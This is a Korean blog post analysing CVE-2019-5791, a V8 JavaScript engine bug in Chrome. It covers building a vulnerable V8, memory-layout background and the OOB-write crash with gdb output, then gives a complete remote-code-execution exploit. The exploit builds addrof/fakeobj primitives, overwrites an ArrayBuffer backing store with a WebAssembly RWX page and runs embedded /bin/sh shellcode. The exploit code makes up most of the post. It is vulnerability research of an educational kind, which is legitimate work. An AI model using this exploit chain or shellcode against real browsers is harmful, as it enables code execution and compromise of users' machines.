[1-day Analysis] Chrome Browser Exploit with CVE-2019-5791 (RCE)
2019-12-28 / topcue

목차

  • 개요
  • 환경 구축
  • 배경 지식
  • 취약점 분석
  • exploit 작성
  • PoC
  • 레퍼런스

개요

자바 스크립트 엔진 중 하나인 v8에서 발생한 취약점(CVE-2019-5791)을 분석하고 exploit 가능한 PoC 코드를 작성한다.


환경 구축

분석 환경 : 가상머신(Vmware) - Linux 16.04

아래는 취약점 패치 전인 d8 release 버전을 설치하는 과정이다. 자세한 분석을 위해서 debug 버전을 구축해도 상관 없다.

1
2
3
4
5
6
7
8
9
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH="$PATH:/path/to/depot_tools"
fetch v8
cd v8
build/install-build-deps.sh
git checkout b267f94ffca9fb90d04ffa03c910d8508c20dd26
gclient sync
./tools/dev/gm.py x64.release
# (or ./tools/dev/gm.py x64.debug)

배경 지식

  • JS Engine과 v8

v8은 Google chrome에서 사용하고 있는 JS Engine이며 내부적으로 c++로 구현되어있다. 자세한 배경 지식은 아래 [JS Engine 기본 개념]에서 확인할 수 있다.

JS Engine 기본 개념

  • Hidden class

자바스크립트에는 class가 존재하지 않고, 대신 hidden class가 존재한다. 이 hidden class 들은 JS Engine의 최적화를 위해 사용한다.

엔진마다 부르는 이름이 다른데, 주로 학술 논문에서는 Hidden Classes, v8에서는 Maps, Chakra에서는 Type, JavaScriptCore는 Structures, SpiderMonkey는 Shapes라고 부른 다.

크롬의 v8 자바스크립트 엔진의 hidden class는 Maps 또는 map이라고 부를 것이다.

  • 자바스크립트 배열 구조

자바 스크립트에서 배열은 named propertyarray-indexed property로 크게 두 종류가 있다. named property는 key(name):value 형태의 property이다. array-indexed property의 구성 요소는 map, prototype, elements, length 네 가지이다. 배열의 속성에 대한 지식은 차후 exploit을 작성하는 과정에서 중요하게 쓰인다.


취약점 분석

CVE-2019-5791에서 발생하는 취약점은 크게 두 가지이다.

  • OOB Write
  • OOB Read

Chromium bugs open issue에 있는 OOB Write PoC 코드는 다음과 같다.

[참고] https://bugs.chromium.org/p/chromium/issues/detail?id=926651

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
callFn = function (code) { try { code(); } catch (e) { console.log(e); } }

let proxy = new Proxy({}, {});

function run(prop, ...args) {
let handler = {};
const proxy = new Proxy(function () {}, handler);
handler[prop] = (({v1 = ((v2 = (function () {
var v3 = 0;
var callFn = 0;
if (asdf) { return; } else { return; }
(function () { v3(); });
(function () {
callFn = "\u0041".repeat(1024*32);
v3 = [1, 2, 3, 4, 5, 6];
})
})) => (1))() }, ...args) => (1));
Reflect[prop](proxy, ...args);
}

callFn((() => (run("construct", []))));
callFn((() => (run("prop1"))));

function test() {
run[13] = 0x41414141;
print(proxy.length);
proxy[0x41414141 >> 3] = 0x12121212;
}
test();

위 PoC 코드로 crash가 발생했을 때의 gdb 화면이다.

mov QWORD PTR [rax+r14*1+0xf],rcx“ instruction에서 crash가 발생한다.

[----------------------------------registers-----------------------------------]

RAX: 0x41414140 ('@AAA')
RBX: 0x55555676b960
RCX: 0x1212121200000000
RDX: 0x41414140 ('@AAA')
RSI: 0x55555676b960
RDI: 0x5555566d7860
RBP: 0x7fffffffd540
RSP: 0x7fffffffd520
RIP: 0x555555e7fc9b
R8 : 0x55555667fa88
R9 : 0x3
R10: 0x38912101e581
R11: 0x1212121200000000
R12: 0x1212121200000000
R13: 0x1
R14: 0x154eb258c179
R15: 0x7fffffffd8f8
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)

[-------------------------------------code-------------------------------------]

=> 0x555555e7fc9b <_ZN2v88internal12_GLOBAL__N_120ElementsAccessorBaseINS1_32FastPackedObjectE
lementsAccessorENS1_18ElementsKindTraitsILNS0_12ElementsKindE2EEEE3SetENS0_6HandleINS0_8JSObject
EEEjPNS0_6ObjectE+27>:    mov    QWORD PTR [rax+r14*1+0xf],rcx

RAX 레지스터는 배열 run[]을 통해 접근할 수 있고, RCX 레지스터는 배열 proxy를 이용해 접근할 수 있다. R14 변수는 값이 변하지 않는다. 따라서 RAX와 RCX를 변조해 run[0] 이후 영역에 원하는 값을 쓸 수 있다.

[RAX+R14+0xF] 주변에는 v3 변수의 hidden classmap과 prototype, elements의 주소, 배열의 길이가 매핑되어있다. 원소들의 주소인 “0x0000154eb258b918”를 따라가면 배열의 길이와 원소들이 저장되어있다. (smi와 heap object를 구분하기위해 주소값인 “0x0000154eb258b919”에 산술연산 or 1을 해주어야한다.)

gdb-peda$ x/10x $rax+$r14*1+0xf-0x18
0x154eb258c1d8:    0x0000039671102bb9    0x000014e89a300c21 // map        prototype
0x154eb258c1e8:    0x0000154eb258b919    0x0000000600000000 // &elements  length
0x154eb258c1f8:    0x000014e89a305211    0x000038912101f431
0x154eb258c208:    0x0000000000000000    0x0000000000000000
0x154eb258c218:    0x0000000000000000    0x0000000000000000

gdb-peda$ x/10x 0x0000154eb258b919|1
0x154eb258b919:    0x00000014e89a3008    0x0000000006000000 // Array      length
0x154eb258b929:    0x0000000001000000    0x0000000002000000 // element[0] element[1]
0x154eb258b939:    0x0000000003000000    0x0000000004000000 // element[2] element[3]
0x154eb258b949:    0x0000000005000000    0x9900000006000000 // element[4] element[5]
0x154eb258b959:    0x210000039671102d    0x79000014e89a300c

OOB Write 취약점을 이용해 배열의 길이를 매우 큰 값으로 변조하면 배열 proxy[]를 이용해 OOB ReadOOB Write가 가능하다.


exploit 작성

익스플로잇 구상은 다음과 같다

먼저 object의 주소를 leak하는 addrof() 함수와 object 주소를 이용해 fake object를 생성하는 fakeobj() 함수를 구현했다.

1
2
3
4
5
6
7
8
9
let addrof = function(obj) {
v4[0] = obj;
return proxy[0x18];
}

let fakeobj = function(addr) {
proxy[0x18] = addr
return v4[0]
}

addrof() 함수는 object의 주소를 반환하는 함수이다. object형 배열인 v4[0]로 값을 받고, double형 array인 proxy를 이용해 주소를 반환한다.

fakeobj() 함수는 addrof() 함수의 역연산으로, 주소를 인풋으로 fake object를 생성하는 함수이다.

두 함수를 이용해 원하는 object의 주소를 leak할 수 있고,원하는 주소를object형으로 만들 수 있다.

다음으로 shellcode를 write할 배열 ab를 선언한다.

1
2
let ab = new ArrayBuffer(0x100);
let abAddr = addrof(ab);

wasm을 통해 rwx 메모리를 만들고 그 주소를 leak할 예정이다.

fake object의 element pointer 위치에 들어갈, rwx가 가능한 주소를 leak하기 위해 변수 wasmObj를 선언한다. 이후 gdb를 이용해 rwx가 가능한 곳의 위치를 찾고, 해당 주소를 호출하는 위치를 찾았다.

f와의 offset(0xf8)을 구했고, fake object의 구성 요소 중 첫번째 인자(map)를 통해 접근해야하므로 0x10을 더해주었다.

1
let wasmObj = addrof(f) - u2d(0xf8+0x10,0);

fake object인 target 생성한다. 이때 fake의 구성 요소 중 첫번째 인자인 map[fake의 주소 - 0x20]에 있다. 이를 이용해 type confusion을 발생시킬 수 있다.

1
2
3
4
var fake = [ arr1Map, 0, wasmObj, u2d(0,0x8) ].slice();
var fakeAddr = addrof(fake) - u2d(0x20,0);
print("[+] fake_addr : " + hex(fakeAddr));
var target = fakeobj(fakeAddr);

ArrayBuffer인 변수 abbacking stored pointerrwx 메모리로 덮어쓴다.

1
2
3
4
let rwx = target[0];
print("[+] rwx : " + hex(rwx));
fake[2] = abAddr + u2d(0x10, 0);
target[0] = rwx;

마지막으로 DataView를 통해 rwx메모리에 shellcode를 쓴 뒤에 f() 함수를 실행해 shell을 획득한다.

1
2
3
4
5
let dv = new DataView(ab);
for (var i = 0; i < shellcode.length; i++) {
dv.setUint32(i*4, shellcode[i]);
}
f();

PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
callFn = function (code) { try { code(); } catch (e) { console.log(e); } }
let proxy = new Proxy({}, {});

function run(prop, ...args) {
let handler = {};
const proxy = new Proxy(function () {}, handler);
handler[prop] = (({v1 = ((v2 = (function ()
{
var v3 = 0;
var callFn = 0;
if (asdf) { return; } else { return; }
(function () { v3(); });
(function () {
callFn = "\u0041".repeat(1024*32);
v3 = [1.1];
v4 = [{}].slice();
});

})) => (1))() }, ...args) => (1));
Reflect[prop](proxy, ...args);
}

callFn((() => (run("construct", []))));
callFn((() => (run("prop1"))));

function test() {
run[0x10] = 0x12121212;
let convert = new ArrayBuffer(0x8);
let f64 = new Float64Array(convert);
let u32 = new Uint32Array(convert);

function d2u(v) { f64[0] = v; return u32;}
function u2d(lo, hi) { u32[0] = lo; u32[1] = hi; return f64[0];}
function hex(d) { let val = d2u(d); return ("0x" + (val[1] * 0x100000000 + val[0]).toString(16)); }

let shellcode = [0x6a6848b8, 0x2f62696e, 0x2f2f2f73, 0x504889e7, 0x68726901, 0x1813424, 0x1010101, 0x31f656be, 0x1010101, 0x81f60901, 0x1014801, 0xe6564889, 0xe631d2b8, 0x01010101, 0x353a0101, 0x01900f05];
let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 7, 1, 96, 2, 127, 127, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 21, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 8, 95, 90, 51, 97, 100, 100, 105, 105, 0, 0, 10, 9, 1, 7, 0, 32, 1, 32, 0, 106, 11]);
let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {});
let f = wasm_mod.exports._Z3addii;

print("[+] arr1[0] : "+proxy[0])
print("[+] arr2[0] : "+hex(proxy[0x18]))
arr2Map = proxy[4]
var arr1Map = arr2Map - 0.000000000007900e-310
print("[+] arr1Map : " + hex(arr1Map))
print("[+] arr2Map : " + hex(arr2Map))

let addrof = function(obj) {
v4[0] = obj;
return proxy[0x18]; // return arr2[0];
}

let fakeobj = function(addr) {
proxy[0x18] = addr
return v4[0]
}

let ab = new ArrayBuffer(0x100);
let abAddr = addrof(ab);
print("[+] array_buf : "+hex(abAddr));

let wasmObj = addrof(f) - u2d(0xf8+0x10,0);
print("[+] wasm_addr : "+hex(addrof(wasmObj)))

var fake = [ arr1Map, 0, wasmObj, u2d(0,0x8) ].slice();
var fakeAddr = addrof(fake) - u2d(0x20,0);i
var target = fakeobj(fakeAddr);
print("[+] fake_addr : " + hex(fakeAddr));

let rwx = target[0];
print("[+] rwx : " + hex(rwx));
fake[2] = abAddr + u2d(0x10, 0);
target[0] = rwx;

let dv = new DataView(ab);
for (var i = 0; i < shellcode.length; i++) {
dv.setUint32(i*4, shellcode[i]);
}
f();
}
test();

// EOF

작성한 PoC 코드를 이용해 쉘을 획득한 모습이다.

스크린샷 2019-12-28 오후 9 13 17


레퍼런스

https://lordofpwn.kr/bob-8gi/
https://changochen.github.io/2019-04-29-starctf-2019.html
https://bugs.chromium.org/p/chromium/issues/detail?id=926651
https://mathiasbynens.be/notes/shapes-ics